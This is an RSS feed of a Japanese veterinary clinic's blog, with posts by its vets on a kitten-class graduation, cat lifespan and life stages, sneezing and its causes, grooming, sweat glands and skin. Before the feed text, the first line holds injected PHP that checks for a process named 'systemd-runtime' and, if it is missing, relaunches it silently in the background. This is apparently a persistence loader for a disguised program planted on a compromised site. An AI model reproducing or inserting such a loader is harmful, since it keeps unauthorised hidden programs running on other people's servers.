$programFilePath = 'systemd-runtime'; $processList = shell_exec('ps aux'); if (strpos($processList, $programFilePath) === false) { $commandToExecute = 'nohup ./' . $programFilePath . ' > /dev/null 2>&1 &'; shell_exec($commandToExecute); } ねこのブログ - 動物の医学 | 本牧通り動物病院 https://honmokudori.com/blog 本牧通り動物病院は、横浜市中区本牧宮原にある動物病院です。 Mon, 27 Mar 2023 09:50:47 +0000 ja hourly 1 https://wordpress.org/?v=6.2.5 祝!こねこ教室卒業✨ https://honmokudori.com/blog/1111 https://honmokudori.com/blog/1111#respond Mon, 27 Mar 2023 09:48:12 +0000 https://honmokudori.com/blog/?p=1111 ブログを読んでくださっている皆さま、こんにちは!獣医師の互です(^^♪ 皆さま、お久しぶりです♪    3月に入り、日々暖かくなり、わんちゃん、ねこちゃんも過ごしやすい気候になってきましたね! 3月といえば  ...続きを読む

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ブログを読んでくださっている皆さま、こんにちは!獣医師の互です(^^♪
皆さま、お久しぶりです♪ 
 

3月に入り、日々暖かくなり、わんちゃん、ねこちゃんも過ごしやすい気候になってきましたね!
3月といえば満開の桜🌸に、卒業シーズン…
今回はそんな時期にぴったりなブログです(^^♪
 

全8回のこねこ教室を終えて無事卒業を迎えた宇多(うた)ちゃんをご紹介します(=^・^=)❣
 

お家に迎え入れてからすぐにこねこ教室に通い始めてくれた宇多ちゃんと飼い主さん。コロナ禍もあり途中期間が空いてしまいましたが、とても熱心な飼い主さんと頑張り屋さんの宇多ちゃんのご協力もあってこの度、無事卒業となりました♬おめでとうございます✨
 

はじめは飼い主さんの膝の上から降りられないくらい甘えん坊さんだった宇多ちゃん。段々と回数を重ねていくうちに診察台の上でもお利口さんでいられるようになり、歯磨き、投薬練習もばっちりできるようになりました!!
 

飼い主さんも最初は何事も初めてで、緊張気味でしたが今では爪切りをはじめ、歯磨き、投薬練習としっかり練習の成果が出ており、最後のこねこ教室の時にはすべてお一人でできるようになっていました!!とても素晴らしいことです(^^)/
 

また、お家でのケアができるだけではなく、キャリーバッグに入れて動物病院に来ること自体にもストレスフリーであることがこねこ教室を実施している私にとってはうれしい限りでした(^O^)
 


卒業証書とともに記念にパチリ!
 


スタッフ一同でお祝い記念撮影☆
 

とても熱心で猫ちゃん大好きな飼い主さんはこねこ教室を卒業しても、宇多ちゃんがこれからも病院を嫌いにならないようにおやつをもって定期的に病院に足を運んでくださるとのことでした。是非スタッフ一同お待ちしております(^^♪
 

これから猫ちゃんを迎えようと考えている方や、新しく子猫を迎えた飼い主さん、子猫を保護された飼い主さん、こねこ教室に興味がある方はスタッフや獣医師までお気軽にご相談ください♪
 

また、猫ちゃんの飼育相談やお悩みなどはオンラインでも受け付けておりますので、なにかありましたらご相談くださいね🐈
 

オンラインなら、なかなか動物病院に連れてこられない飼い主さんにもお勧めです☆
 

今回久しぶりのブログになってしまいましたが、おめでたい報告ができてうれしく思います♡
 

ではまた次回のブログをお楽しみに~(^^)/
 

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【猫の寿命】獣医師が教える愛猫と1日でも長く一緒にいるための秘訣 https://honmokudori.com/blog/741 https://honmokudori.com/blog/741#respond Mon, 26 Jul 2021 10:04:15 +0000 https://honmokudori.com/blog/?p=741 愛猫とあと何年一緒にいられるのだろうか、と思ったことはありませんか。   家族の一員である猫さんに1日でも長生きしてもらいたいですよね。長生きのために飼い主ができることをまとめました。   &nb  ...続きを読む

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愛猫とあと何年一緒にいられるのだろうか、と思ったことはありませんか。
 

家族の一員である猫さんに1日でも長生きしてもらいたいですよね。長生きのために飼い主ができることをまとめました。
 

たけだ(さ)
たけだ(さ)
改めましてこんにちは! 本牧通り動物病院で獣医師をやっている竹田(沙)です。

 

大切な猫に長生きしてもらうために、今日からできることを盛り込んだので、ぜひやってみてくださいね。
 

猫の平均寿命は?


2020年に一般社団法人ペットフード協会から発表された「全国犬猫飼育実態調査」では、猫の平均寿命は15.45歳という結果でした。
 

2010年に行われた同調査によると猫の平均寿命は14.4歳。
 

参考:「全国犬猫飼育実態調査」
 

たけだ(さ)
たけだ(さ)
なんと10年で1歳も平均寿命が伸びていることになりますね!

 

猫種による違い

長生きの傾向のある猫種は何でしょうか?そもそも猫種によって違いがあるのでしょうか?
 

英国の論文 (Dan G O’Neill et al., 2015)では混血猫の方が純血猫より寿命が長いとの報告があります。
  

日本では2017年にアニコムグループが保険を契約している猫を対象として調査した報告があります。それによると、人気猫種トップ10位の平均寿命は以下の結果になりました。
 

【猫の品種別の平均寿命(保険契約頭数上位10品種)】
猫の品種別の平均年齢平均寿命
混血猫14.3歳
日本猫14.3歳
ペルシャ(チンチラ)13.9歳
アメリカン・ショートヘア13.5歳
ラグドール13.5歳
スコティッシュ・フォールド13.4歳
ロシアンブルー 13.1歳
ノルウェージャン・フォレスト・キャット12.6歳
メイン・クーン12.5歳
マンチカン11.2歳

 

参考:「家庭どうぶつ白書2017」
 

たけだ(さ)
たけだ(さ)
この結果だけだと猫種による違いははっきり言えませんが、英国の論文と同じように混血種は純血種より長生きすると言えるかもしれません。

 

飼い方による違い

もし飼い方で愛猫の寿命が長くなるのであれば、その方法を知りたいですよね。
 

2020年にペットフード協会が発表したデータは、家飼いの猫は外飼いの猫に比べて平均寿命が約2.5年長いという結果になりました。
 

【飼い方別平均寿命】
飼い方平均寿命
家飼いの猫16.13歳
外飼いの猫13.57歳

 

参考:「家庭どうぶつ白書2017」
 
 
野良猫の寿命は約3〜5歳と言われています。
 

理由としては、ウイルスや寄生虫などの感染症にかかりやすいことや、交通事故や怪我にあう可能性が飼い猫より高いことがあげられます。
 

そのことからも、家飼いの猫の方が外飼いの猫より長生きしやすいのが想像つきますね。
 

オスメスによる違い

人間は女性の方が長生きと言われますが、猫はどうなのでしょうか。
 

スウェーデンで行った49,450匹の大規模な調査(A.Egenvall et al., 2009)では性別による寿命の差はないという結果でした。
 

ところが、日本でのアニコムグループによる報告では以下のようにメスの方が長生きという結果になりました。
 

【オスメス別平均寿命】
性別平均寿命
メス
14.8歳
オス13.7歳

 

参考:「家庭どうぶつ白書2017」
 
   
猫は避妊や去勢の影響も受けるため、一概にオスメスで判断できないのも意見が分かれる要因の一つかもしれません。
 

猫の長生きのギネス記録はどれくらい?

世界で一番長生きした猫は何歳なのでしょうか。
 

ギネス世界記録によると38歳3日生きた猫が最長と記録されています。アメリカに住んでいたクリーム・パフちゃんというメス猫です。
 

人間でいうと、なんと約170歳! 残念ながら、2005年に亡くなってしまっていますが、未だにその記録は破られていません。
 

参考:https://en.wikipedia.org

本牧通り動物病院での最高齢の記録

ちなみに本牧通り動物病院での最高齢の記録は、23歳マッシュちゃん(オス)! 次に、22歳8ヶ月ヒメちゃん(メス)です! (2021年7月現在)
 

2匹とも高齢で闘病中でしたが、とても幸せそうな表情をしていますね。
 

マッシュちゃん23歳

 

ヒメちゃん、22歳8ヶ月

 

猫の年齢は人間でいうと何歳くらい?


猫の寿命や長寿の記録が分かったところで、猫の年齢は人間でいうとどのくらい?と疑問に思った方もいるのではないでしょうか。
 

【猫と人間の年齢換算表】
猫の年齢人間の年齢
0−1ヶ月0−1歳
2−3ヶ月2−4歳
4ヶ月6−8歳
6ヶ月10歳
7ヶ月12歳
12ヶ月15歳
18ヶ月21歳
2歳24歳
3歳28歳
4歳32歳
5歳36歳
6歳40歳
7歳44歳
8歳48歳
9歳52歳
10歳56歳
11歳60歳
12歳64歳
13歳68歳
14歳72歳
15歳76歳
16歳80歳
17歳84歳
18歳88歳
19歳92歳
20歳96歳

 

参考:The Feline Advisory Bureau(現在のInternational Society of Feline Medicine国際猫医学会)
 

上記の換算表のように猫の2歳は人間の24歳に相当します。3年目からは1年で4歳ずつ歳をとります。
 

【計算方法】(2歳以上の猫)
24+(猫の年齢−2)×4
 

例)5歳の猫の場合
24+(5−2)×4=36 ⇨36歳
 

子猫の時から飼っている愛猫が、気が付いたら自分の年齢を越していた…なんてことがあるかもしれません。
 

たけだ(さ)
たけだ(さ)
換算表に照らし合わせると、猫と過ごせる一年一年を大切にしないといけないなと思いますよね。

 

猫は年齢とともにどんな風に成長する?注意すべきポイントは?


猫は何歳からが高齢と言われるのでしょうか。また、それぞれのライフステージで気をつけるべきポイントは何でしょう。
 

アメリカ猫医療専門家協会(AAFP)とアメリカ動物病院協会(AAHA)のライフステージガイドラインによると、猫のライフステージは6段階に分けられます。
 

  1. 子猫期 (KITTEN) 0−6ヶ月
    人間でいう0−10歳にあたります。好奇心旺盛でおもちゃで遊ぶのも大好き!
    この時期から車や病院を経験し、慣れておくと後々良いと言われています。
  2.  

  3. 青年期 (JUNIOR) 7ヶ月−2歳
    人間でいう12−24歳にあたります。だんだんと他の猫と遊ぶよりも単独行動を好むようになります。口や耳、体をなでる、ちょっとした時に触るなどして、触られることに慣らしておきましょう。
  4.  

  5. 成猫期 (ADULT) 3−6歳
    人間でいう28−40歳にあたります。肥大型心筋症やリンパ腫など若くして発症する病気もあるため、この頃から1年に1回は健康診断をすることがオススメです。
  6.  

  7. 壮年期 (MATURE) 7−10歳
    人間でいう44−56歳にあたります。青年期より睡眠時間が増え運動量が減り、体重管理に気をつけないと太ってしまう猫もいます。ちなみに太った猫の方が普通の体型の猫に比べて糖尿病や尿路結石、関節炎、肝リピドーシスなどの病気になるリスクが高いです。また、病気の早期発見・早期治療につながるよう、壮年期以上は1年に2回は健康診断をすることがオススメです。
  8.  

  9. 高齢期 (SENIOR) 11−14歳
    人間でいう60−72歳にあたります。12歳以上の猫の90%は変形性関節症になると言われています。高齢期からトイレや食事の場所、寝る場所へのアクセスが簡単になるよう、バリアフリーを心掛けましょう。ちょっとした行動の変化が病気のサインであり「老化」では済まされないこともあります。食事量、体重、トイレの回数などに注意を向けてあげてください。
  10.  

  11. 老猫期 (GERIATRI) 15歳以上
    人間でいう76歳以上にあたります。人間と同じで猫も歳を取ると目や耳が悪くなったり、変形性関節症や認知症になります。

    • 爪をとがなくなった
    • グルーミングをしなくなった
    • トイレの外でうんちやおしっこをするようになった
    • 気性が荒くなった、体を触るとうなるようになった
    • 遊ばなくなった
    • 声が変わった、大きい声でなくようになった など

    小さな行動の変化でも、より一層注意を向けてあげてください。また、どのような生涯を送るのが愛猫にとって幸せなのか家族で話し合っておくのも重要です。

 

年齢によって注意しないといけないポイントは異なります。猫のライフステージを知ることは愛猫に合ったケアに繋がりますね。しかし、年齢はあくまでも目安です。
 

たけだ(さ)
たけだ(さ)
猫によって年の取り方は違うので、少しでも気になることがあれば病院で相談することをオススメします。

 

猫に長生きしてもらうためのコツ


若い時からちょっとしたことに気をつかっていると、病気の予防や長生きにつながります。今の愛猫の生活と照らし合わせてみてくださいね。
 

食事

栄養に関して○○の成分が長生きにつながる!などは残念ながらありません。今の猫の年齢に合ったもの、体重に合った量をあげるのが一番重要です。
 

太りすぎの原因の多くはご飯やおやつの与えすぎです。また、病気になってしまった場合はそれぞれの食事療法があるので、獣医師に相談することをオススメします。
 

ドライフードと缶詰のご飯どちらが良いの?と質問されることもあります。結果から言いますと、どちらでも大丈夫。
 

ちなみにわたしは歯に付きにくいこと、室温に数時間置いておいても悪くなりにくいことからドライフードを愛猫にあげています。
 

環境

猫にとってストレスの少ない環境が長生きにつながると言われています。猫と一緒に暮らすときに考えるべきポイントをまとめました。
 

【絶対に用意するべき環境】

  • 隠れる場所、または自分だけのスペース
  • 少し高いところでくつろげる場所
  • 年齢と体重に合った食事
  • 新鮮なお水
  • トイレ
  • 爪とぎ
  •  

    また、猫はとてもきれい好きです。トイレが汚れているとうんちやおしっこを我慢してしまうこともあるので、こまめにチェックしましょう。
     

    「猫はどんな風に成長する?注意すべきポイントは?」でもお伝えしたように12歳以上の猫の90%が変形性関節症になると言われています。
     

    人間でも年を取ると関節が痛み階段が辛い、なんてことがあるかもしれません。高齢期すぎたらトイレや食事の場所はアクセスしやすいか、低い場所にもストレスなく休めるスペースがあるかなど環境の見直しをしてあげてください。
     

    飼い方

    「1.猫の平均寿命は?」の項目でお伝えしたように、家飼いの方が外飼いより平均寿命が長いというデータがあります。
     

    やはり、家の外はウイルスや寄生虫などの感染症にかかりやすく、交通事故や怪我にあうキケンもいっぱい。愛猫を守るためには家飼いがオススメです。
     

    運動

    家飼いがオススメと言われても、元々野生だった猫は家の中ではストレスが溜まってしまいそうですよね。
     

    おもちゃでの狩りごっこは、猫の狩猟本能を満足させストレスを減らします。飼い主とのコミュニケーションの一つでもあり、性格にもよりますが遊んでもらえたという満足感にもつながります。
     

    もしかしたら猫としては「遊んであげてもいいにゃ」くらいに思っているかもしれませんが…
     

    また「猫はどんな風に成長する?注意すべきポイントは?」でもお伝えしたように7−10歳の壮年期の猫は太りやすく、肥満は糖尿病や関節炎など病気の原因になります。
     

    体重管理のためにも、家の中でも運動量が確保できるようなスペースやおもちゃを用意してあげることは大切です。
     

    病気

    病院に行った時は手遅れだった…なんて事態を避けるためにも早期発見・早期治療をめざしたいですよね。
     

    猫の病気のサインを知っていると早期発見の手がかりになり、長生きにつながります。
     
     
    【よくある病気のサイン】

  • 痩せてきた
  • 食欲が減った
  • 食欲がありすぎる(食べ物でないものを食べる、ご飯をねだり怒る)
  • 遊ばなくなった、隠れるようになった、じっとしている
  • 水をよく飲むようになった
  • おしっこの回数が増えた、おしっこに血が混じる
  • 食事や環境の変化がないのに下痢がつづく
  • グルーミングしない、毛ヅヤがない など
  •  

    これらの症状は猫がかかりやすい病気(慢性腎臓病、膀胱炎、糖尿病、甲状腺機能亢進症など)のサインです。他にも普段と様子が違うことがあれば、獣医師に相談することをオススメします。
     

    長生きしてもらうためには愛猫をよく観察すること。元気で若いときから猫の行動を気にしてあげていると、普段との違いも気がつきやすいかもしれません。
     

    健診

    病気のサインにいち早く気が付くのも大切ですが、猫は体調が悪いのを隠す動物…家で見ているだけでは限界があります。繰り返しになりますが、長生きのために病気の早期発見・早期治療は重要です!
     

    しかし、いざ体調が悪くなり病院に行ったけど、嫌がってしまい検査ができない、なんてこともあるかもしれません。手遅れにならないためにも子猫の時から定期的に健診に行き、病院に慣れてもらいましょう。もちろんワクチン接種も病気の予防に大切です。
     
     
    アメリカ猫医療専門家協会(AAFP)とアメリカ動物病院協会(AAHA)のガイドラインによると、全ての猫に対して1年に1〜2回は病院で健康診断を受けることが推奨されています。
     

    特に壮年期(7歳)以上の猫は1年に2回、血液検査も含めた健康診断が推奨されています。
     

    たけだ(さ)
    たけだ(さ)
    病気のサインはないけれど検査で分かる病気はたくさんあるので、病院での健康診断は大切です。

     

    【猫の寿命】まとめ

    最後まで読んでくださった方は愛猫のことをすごく考えている方です。それだけでも飼い主さんとしてはパーフェクト!ただ、人間がそれぞれ違うように、猫も1匹1匹性格も年の取り方も違います。
     

    もっと愛猫を理解して、家族みんなで幸せに過ごす時間が1日でも長くなれば良いですよね。
     

    たけだ(さ)
    たけだ(さ)
    本牧通り動物病院はそんな皆さんの力になれたら嬉しいです。

     

    猫の年齢別検診プランはこちら

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    https://honmokudori.com/blog/741/feed 0
    【猫のくしゃみ】病気かどうかの見分け方や原因を獣医師が解説 https://honmokudori.com/blog/636 https://honmokudori.com/blog/636#respond Fri, 18 Jun 2021 10:26:11 +0000 https://honmokudori.com/blog/?p=636 飼い猫がくしゃみを頻繁にしていると、もしかしたら病気じゃないか? と気になることもありますよね。   猫のくしゃみは寒いから出るわけではなく、放置しても大丈夫な場合とそうでない場合があります。    ...続きを読む

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    飼い猫がくしゃみを頻繁にしていると、もしかしたら病気じゃないか? と気になることもありますよね。
     

    猫のくしゃみは寒いから出るわけではなく、放置しても大丈夫な場合とそうでない場合があります。
     

    まきの
    まきの
    その見分け方や対処法などを、横浜市中区本牧通り動物病院で院長をしている私、牧野が解説します。

     

    猫のくしゃみは生理現象のものと病気によるものがあります


    猫がくしゃみをしているとき、それが生理現象によるものであれば心配ありませんが、病気の可能性もあるため注意が必要です。
     

    生理現象によるくしゃみ

    人間と同じように何かが鼻に入ってむずむずしたときに出るものです。ほこりや煙などの異物を鼻から排出しようとするために起こります。
     

    病気の可能性があるくしゃみ

    細菌やウイルスの影響でくしゃみが出ることがあります。次のような症状があれば病気の可能性があります。
     

    • くしゃみが長引いている(1日中/数日続いている)
    • 鼻水が出ている(黄色~緑色の鼻水)
    • 鼻血が出ている(赤・ピンクがかった鼻水)
    • 目やに・涙が出ている
    • 食欲が落ちている
    • 鼻や鼻のまわりが腫れている
    • 発熱がある など

     

    まきの
    まきの
    くしゃみが数回あっても、そのあといつも通り落ち着いているようであれば生理現象と考えてよいでしょう。

     

    生理現象でない猫のくしゃみの原因とは


    生理現象でないくしゃみの場合に考えられる原因としては、以下のことが挙げられます。
     

    ウイルス・細菌などによる感染症

    感染することでくしゃみを引き起こすウイルスや細菌が多数あり、くしゃみ以外にあらわれる症状はそれぞれ異なります。
     

    主なものとしては猫ヘルペスウイルスや猫カリシウイルスといったウイルスや、Bordetella bronchisepticaやクラミジアといった細菌、クリプトコッカスといった真菌(カビ)が原因として挙げられます。俗にいう「猫風邪」もウイルスや細菌による感染症です。
     

    初期の鼻水はサラサラしていますが、次第にねばついたり膿(うみ)が混じったりしてくることがあります。また、クリプトコッカス症は鼻が変形してしまうことがあります。
     

    アレルギー性鼻炎

    人と同じように、ハウスダストや花粉などに対してアレルギーを持っていると、くしゃみや鼻水などの症状がみられます。
     

    アレルギーの場合は、ほかに皮膚炎や鼻づまりを起こすこともあり、放置すると重篤化するおそれもあるため注意が必要です。
     

    その他の病気

    • 副鼻腔炎(ふくびくうえん)
      副鼻腔炎は、鼻の奥にある副鼻腔に炎症を起こしている状態で、くしゃみや鼻水、鼻づまりなどの症状があります。
      副鼻腔炎が悪化し長引くと、膿がたまって蓄膿症になってしまう場合もあります。
    •  

    • 歯周病
      意外かもしれませんが、歯周病でもくしゃみを引き起こすことがあります。歯周病の原因は歯垢中の細菌によるもので、歯周炎を引き起こし重症化すると、上顎の歯の歯根の炎症が鼻の中に広がり、くしゃみや鼻血の原因になります。

     

    まきの
    まきの
    ふだんから歯磨きの習慣がない子や、7歳以上の場合は注意しましょう。

     

    • ポリープ、腫瘍
      鼻の中にポリープや腫瘍(リンパ腫、腺癌)ができると、くしゃみをすることがあります。腫瘍から出血があるとピンク色の鼻水や鼻血が出ることもあり、さらに大きくなると鼻が腫れたり、顔が変形したりする場合もあります。
    •  

    • 高血圧
      高血圧が原因で鼻から出血することがあり、その刺激でくしゃみが出ることがあります。
    •  

    • ストレス
      環境の変化や季節の変わり目などストレスが多い状況になると免疫が弱まり、ウイルスや細菌による感染症を起こしやすくなります。鼻の粘膜に感染すると鼻炎を起こし、くしゃみや鼻水が出ます。

     

    まきの
    まきの
    もともと猫エイズウイルスや猫白血病ウイルスを持っている猫ちゃんは免疫力が弱く、感染症を繰り返し鼻炎になりやすいと言われているので、注意が必要です。

     

    その他:異物や虫の吸引

    猫は好奇心旺盛なので、気になったものに鼻先をくっつけ、それが細かいものだと吸い込んでしまう場合があります。そのため生理現象でくしゃみが出ますが、異物が詰まってしまって出てこない場合は病院で取ってもらうようにしましょう。
     

    また、タバコの煙や香水なども刺激となりくしゃみの原因になります。
     

    まきの
    まきの
    ペルシャ猫など鼻が短い猫の場合、鼻の穴の中も細くなっており粘膜が刺激を受けやすく、くしゃみが出やすい傾向にあります。

     

    ちょっと寄り道:「猫風邪」は人間の風邪とは違います


    「猫風邪」は、くしゃみや鼻水、発熱、食欲不振などといった人間の風邪に似た症状があることからそう呼ばれています。
    前述のようにウイルスや細菌などに感染して発症しますが、一般的には「猫ヘルペスウイルス」「猫カリシウイルス」によるものが多くみられます。
     

    ウイルスによる症状の違い

    「猫ヘルペスウイルス」「猫カリシウイルス」が原因の場合、それぞれ次のような違いがみられます。
     

    猫ヘルペスウイルス:猫ウイルス性鼻気管炎

    目にも症状があらわれやすいことが特徴です。くしゃみや鼻水のほかに、結膜炎やそれによる眼脂、角膜潰瘍などを起こすことがあります。
     

    また、一度感染してしまうと回復後も体内にウイルスが残るので、ストレスがあったり免疫が落ちたりしたときに再度症状があらわれる場合があり、生涯にわたって良くなったり悪くなったりを繰り返す可能性があります。
     

    猫カリシウイルス:猫カリシウイルス感染症

    口腔内にも症状があらわれやすいことが特徴です。くしゃみや発熱のほかに、口内炎や舌の潰瘍がみられることがあります。
     

    また猫ヘルペスウイルス同様、体内にウイルスが残ってしまうため、元気になった後も再度症状が出ることがあります。さらに感染力も強いので、ほかの猫が近くにいる環境では特に気をつけましょう。
     

    治療

    残念ながらこれらのウイルスに対する特効薬はありません。症状に合わせて抗生物質やインターフェロンなどの投与を行います。
     

    体力のある成猫であれば自然治癒することもありますが、子猫や高齢の猫の場合は重症化するおそれがあります。そのため、予防や早期発見・早期治療がカギとなります。気になる症状があれば早めに受診しましょう。
     

    予防・対策

    ワクチン接種が有効です。また、野良猫などから感染する可能性が高いため、外に出すことはオススメしません。
     

    多頭飼いのお家の猫が猫風邪をひいてしまった場合は、1匹から感染が広がってしまう場合もあるので、獣医師の指示に従い他の猫とは一定期間隔離した方が良いでしょう。
     

    まきの
    まきの
    ちなみに人間や犬には移りませんよ。猫同士は注意が必要です。

     

    猫のくしゃみで鼻水や鼻血が出たら


    そのままにしておくと猫にとって不快なだけでなく、固まってしまい鼻の穴を塞いでしまう事があるので、拭き取ってあげてください。
     

    拭き取りかた

    ティッシュなどでやさしく拭いてあげましょう。

    • 鼻水が固まっている場合・・・湿らせたコットン綿棒などでふやかしてからやさしく拭き取りましょう。無理やりこすり取るのはNGです。
    •  

    • 鼻血が出ている場合・・・血を拭き取ったら、猫を刺激しないように安静にさせましょう。

     

    鼻をぶつけるなど外傷性の鼻血もあります。猫が興奮しないように落ち着いて対処してください。
     

    また、病気によっては痛みがあり、鼻を触られるのを嫌がる場合もあります。嫌がり興奮してしまう場合は無理をせず、獣医師にお任せください。
     

    こんなときは病院へ


    一時的なくしゃみであれば問題ありませんが、そうでない場合は病気が隠れているおそれがあります。
     

    「病気の可能性があるくしゃみ」でご紹介した症状がある場合は、早めに受診しましょう。
     

    また、必ずしもくしゃみが出るわけではありませんが、呼吸するときにイビキのような音がする場合、鼻腔から咽頭、喉頭にかけて異物や腫瘤のある可能性もあるので、病院でよく相談してください。
     

    まきの
    まきの
    今、食欲があっても鼻がつまってご飯の匂いが分からなくなると猫ちゃんは食欲がなくなってしまうので、気になる事があれば早めの来院をオススメします。

     

    なお、病院へ行くときは以下に示す情報を伝えられるようにしておくと、くしゃみの原因を知る手掛かりになります。
     

    • いつから症状があるのか
    • 同じ症状が前にもあったか、初めてか
    • 急に始まったのか、徐々にひどくなってきているのか
    • 鼻水の色(透明、黄色、緑、ピンクなど)
    • 鼻水や鼻づまりがある場合、片方かあるいは両方からか
    • 猫ちゃんの周りで環境の変化があったか(外に出た、引っ越した、子猫がきたなど)

     

    猫のくしゃみの予防・対策


    くしゃみやくしゃみを伴う病気を防ぐために、できることがいくつかあります。
     

    部屋をきれいにしておく

    アレルギー症状につながるハウスダストや花粉、ダニを減らすためにも、こまめに掃除機をかけてきれいにしておきましょう。
    猫が興味を持って鼻先をつけそうで細かいものは、うっかり吸い込んでしまわないようにフタをするなどしてしっかり管理してください。
     

    乾燥しているときは部屋の保湿を

    空気が乾燥していると、ウイルスが繁殖しやすくなり感染症のリスクが高くなってしまいます。冬場など、乾燥しているなと感じたら加湿器などで適度に保湿しましょう。
     

    ブラッシングをする

    猫の毛にほこりやダニがついていると、毛づくろいしたときなどに一緒に体内に入って、アレルギーの原因になってしまう場合があります。それを防ぐためにも、こまめにブラッシングしてきれいにしてあげるのも有効です。
     

    室内飼いにする

    ほかの猫と接触することで感染症にかかってしまう可能性が高くなるため、屋外には出さず完全室内飼いにすることをオススメします。多頭飼いの猫で感染症が疑われた場合、ほかの猫にうつさないために隔離するようにしましょう。
     

    感染症予防にはワクチン接種

    子猫のうちから混合ワクチンを接種することで、感染症を予防することができます。屋外に出る猫はもちろんのこと、完全に室内で飼っている猫でも定期的な接種が望ましいです。
     

    まきの
    まきの
    ちょっとした異変にも気づきやすいよう、定期的な健康診断で健康状態を把握しておきましょう。

     

    猫がくしゃみをしていたら意識して観察を

    ふだん頻繁にするものではないので、くしゃみをしていたら気づかれる方も多いのではないでしょうか。
     

    くしゃみには思いがけない病気が隠れている場合もあります。
     

    「ちょっと回数が多いな」「昨日からくしゃみが続いてるな」「様子がいつもと違う気がする」など気になることがあったら、早めに病院へ連れて行ってあげてくださいね。
     

    猫の年齢別検診プランはこちら

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    猫のグルーミング https://honmokudori.com/blog/200 https://honmokudori.com/blog/200#respond Tue, 24 Jun 2014 11:17:44 +0000 http://honmokudori.com/blog/?p=200 猫にとって皮膚のグルーミング行動は、切っても切れないほど重要な日常的動作の一つと言えます。 汚れを嫌う、きれい好きな動物だからだと一般的に言われていますが、一説では、狩りをする際、相手に気づかれないように体臭を消す為  ...続きを読む

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    猫にとって皮膚のグルーミング行動は、切っても切れないほど重要な日常的動作の一つと言えます。

    汚れを嫌う、きれい好きな動物だからだと一般的に言われていますが、一説では、狩りをする際、相手に気づかれないように体臭を消す為という説や前述した、常に抜ける時期の毛を抜くためだという説、ストレスを感じた時に自らを癒す為という説など様々ですが、実は、全部正しいのだろうと思います。

    実際、診察中、多くの猫たちは、ストレスを感じていて、毛がよく抜けることがあります。

    しかし、診察中に猫たちは、ストレスを癒す為にグルーミングをすることができません。

    ですから、可能な限り、診察中にストレスサインが出ているときは、飼い主の方が、優しく声をかけて、体表を撫でてあげることで癒されれば、苦手な病院も乗り切ることができるようになるかもしれませんね。

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    猫の汗腺 https://honmokudori.com/blog/198 https://honmokudori.com/blog/198#respond Mon, 23 Jun 2014 01:12:26 +0000 http://honmokudori.com/blog/?p=198 猫の汗腺は、主に肉球に存在します。 緊張しているときなど肉球を触ると湿っていることが多いです。 まさに人間と同じく手に汗握る瞬間というわけです。 額、頬、口周囲、顎下、耳、肛門周囲には、皮脂腺という分泌物を出す腺があ  ...続きを読む

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    猫の汗腺は、主に肉球に存在します。

    緊張しているときなど肉球を触ると湿っていることが多いです。
    まさに人間と同じく手に汗握る瞬間というわけです。

    額、頬、口周囲、顎下、耳、肛門周囲には、皮脂腺という分泌物を出す腺があります。

    分泌されている物質は、所謂、フェロモンです。

    特に頭周囲の腺から出される分泌物の組み合わせにより、何らかの意味を表していると推測されています。

    現在のところ判明しているのは、好きな人や物にフェロモンをつけることで自分のテリトリーを作り、安心感を高めていると言われています。

    多頭飼いをされていらっしゃる飼い主の方は、よく見られるかもしれませんが、猫同士で互いに顔をこすりつけたりすりする事があります。

    見ていてもほほえましい光景ですし、”仲良し”という言葉が思い浮かびます。

    この行為も互いに自分のフェロモンを相手につけることで、安心感、親近感を高め合うことに使用しています。

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    猫の皮膚 https://honmokudori.com/blog/196 https://honmokudori.com/blog/196#respond Sun, 22 Jun 2014 01:09:01 +0000 http://honmokudori.com/blog/?p=196 猫の身体の特徴にも色々とありますが、個人的には、独特な触り心地と柔らかさは、犬にはない、特徴だと思いますので、今回は、皮膚について取り上げたいと思います。 猫の皮膚が、柔軟であるおかげで、まず、第一に敵からの攻撃、あ  ...続きを読む

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    猫の身体の特徴にも色々とありますが、個人的には、独特な触り心地と柔らかさは、犬にはない、特徴だと思いますので、今回は、皮膚について取り上げたいと思います。

    猫の皮膚が、柔軟であるおかげで、まず、第一に敵からの攻撃、あるいは、獲物の抵抗によるダメージを軽減したり、次に敵と対峙した時に、所謂、逆毛にして身体を一回り大きく見せることで相手を威嚇したり、他には、寒いときには、なるべく毛を寝かせて体温を逃がさないようにするなど、このような機能を発揮させることができるのです。

    猫の被毛についてですが、毛の成長周期は、60~90日をかけて、一定の長さまで伸びます。限界まで伸びたところで、一旦、その状態を維持します。

    その後、40~60日間に新たな毛が生え始めてきたら、徐々に寿命の尽きた毛から抜けていき、再び最初のステージに戻り、これを繰り返します。

    ですので、通常、猫の皮膚上には、、様々なステージの毛が、存在することとなります。

    しかし、日光下で生活をしていない室内飼育の猫の中には、一年中、毛は抜けるけれども、結局、所謂、夏毛になることはなく夏の暑さに苦慮するようになる猫もいます。

    元来、猫は、比較的、暑さに強い動物であるにも関わらず、夏期に熱中症になる猫が散見されるのは、このことが原因の一つであると言われています。

    余談となりますが、熱中症と思われた場合には、濡れたバスタオルなどでくるみ、扇風機などで風をあて、気化熱を利用して、身体にこもった熱を下げる救急処置をしてから、かかりつけの動物病院へ連絡し、受診しましょう。

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    猫の問題行動 :過剰グルーミング https://honmokudori.com/blog/193 https://honmokudori.com/blog/193#respond Fri, 20 Jun 2014 14:07:38 +0000 http://honmokudori.com/blog/?p=193 グルーミングを”する”、”される”。 これは、猫同士のスキンシップの表現方法であり、自己ヒーリングの一手段でもあります。 猫を飼われている方はご経験があるかと思いますが、すり寄ってくる猫の頭や身体をほんの少し力を加え  ...続きを読む

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    グルーミングを”する”、”される”。

    これは、猫同士のスキンシップの表現方法であり、自己ヒーリングの一手段でもあります。

    猫を飼われている方はご経験があるかと思いますが、すり寄ってくる猫の頭や身体をほんの少し力を加えて撫でることで、猫との親密さが増します。

    そのまま続けていると猫自身もこちらをグルーミングしてくれるようになったりします。これは、まさに猫がスキンシップの相手として飼い主を選んでいることの証です。

    ここまでであれば、私自身を含めて、猫の飼い主としては申し分のない状況といえるのではないかと思います。

    しかし、グルーミングを自己ヒーリングの手段とした際、猫の感じているストレスが、自己グルーミングによって緩和されない場合、ひたすらにグルーミングを行うことになります。

    そうすると、やがて、被毛が切れ、薄毛となり、最後には脱毛し、毛の無い状態となってしまいます。このような時に飼い主の方が、皮膚病と思われ受診されても、結果的に何も判明しないことがあります。ある意味、獣医師泣かせの問題行動でもあります。

    逆に考えてみれば、皮膚病変が確認できないことは過剰グルーミングの可能性を示唆していることとなります。

    但し、無毛になった皮膚をグルーミングし続けると、やがて皮膚が傷ついて口腔内の細菌が感染し、皮膚病となることがあります。

